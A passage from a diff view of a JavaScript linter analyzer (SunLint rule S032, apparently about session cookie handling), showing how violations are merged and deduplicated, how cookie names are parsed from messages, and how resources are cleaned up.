if (process.env.SUNLINT_DEBUG) {
|
|
216
|
+
console.log(
|
|
217
|
+
`🔧 [S032] Regex analysis completed: ${regexViolations.length} violations`
|
|
218
|
+
);
|
|
219
|
+
}
|
|
220
|
+
} catch (error) {
|
|
221
|
+
console.warn(`⚠ [S032] Regex analysis failed:`, error.message);
|
|
222
|
+
}
|
|
223
|
+
}
|
|
224
|
+
|
|
225
|
+
// Convert Map values to array and add filePath to each violation
|
|
226
|
+
const finalViolations = Array.from(violationMap.values()).map(
|
|
227
|
+
(violation) => ({
|
|
228
|
+
...violation,
|
|
229
|
+
filePath: filePath,
|
|
230
|
+
file: filePath, // Also add 'file' for compatibility
|
|
231
|
+
})
|
|
232
|
+
);
|
|
233
|
+
|
|
234
|
+
if (process.env.SUNLINT_DEBUG) {
|
|
235
|
+
console.log(
|
|
236
|
+
`🔧 [S032] File analysis completed: ${finalViolations.length} unique violations`
|
|
237
|
+
);
|
|
238
|
+
}
|
|
239
|
+
|
|
240
|
+
return finalViolations;
|
|
241
|
+
}
|
|
242
|
+
|
|
243
|
+
/**
|
|
244
|
+
* Extract cookie name from violation message for better deduplication
|
|
245
|
+
*/
|
|
246
|
+
extractCookieName(message) {
|
|
247
|
+
try {
|
|
248
|
+
const match = message.match(
|
|
249
|
+
/Session cookie "([^"]+)"|useCookie "([^"]+)"|Cookie "([^"]+)"/
|
|
250
|
+
);
|
|
251
|
+
return match ? match[1] || match[2] || match[3] : "";
|
|
252
|
+
} catch (error) {
|
|
253
|
+
return "";
|
|
254
|
+
}
|
|
255
|
+
}
|
|
256
|
+
|
|
257
|
+
/**
|
|
258
|
+
* Check if message is framework-specific (preferred over generic)
|
|
259
|
+
*/
|
|
260
|
+
isFrameworkSpecificMessage(message) {
|
|
261
|
+
return (
|
|
262
|
+
message.includes("Nuxt useCookie") ||
|
|
263
|
+
message.includes("NestJS") ||
|
|
264
|
+
message.includes("Next.js") ||
|
|
265
|
+
message.includes("Framework")
|
|
266
|
+
);
|
|
267
|
+
}
|
|
268
|
+
|
|
269
|
+
/**
|
|
270
|
+
* Clean up resources
|
|
271
|
+
*/
|
|
272
|
+
cleanup() {
|
|
273
|
+
if (this.symbolAnalyzer?.cleanup) {
|
|
274
|
+
this.symbolAnalyzer.cleanup();
|
|
275
|
+
}
|
|
276
|
+
if (this.regexAnalyzer?.cleanup) {
|
|
277
|
+
this.regexAnalyzer.cleanup();
|
|
278
|
+
}
|
|
279
|
+
}
|
|
280
|
+
}
|
|
281
|
+
|
|
282
|
+
module.exports = S032Analyzer;
|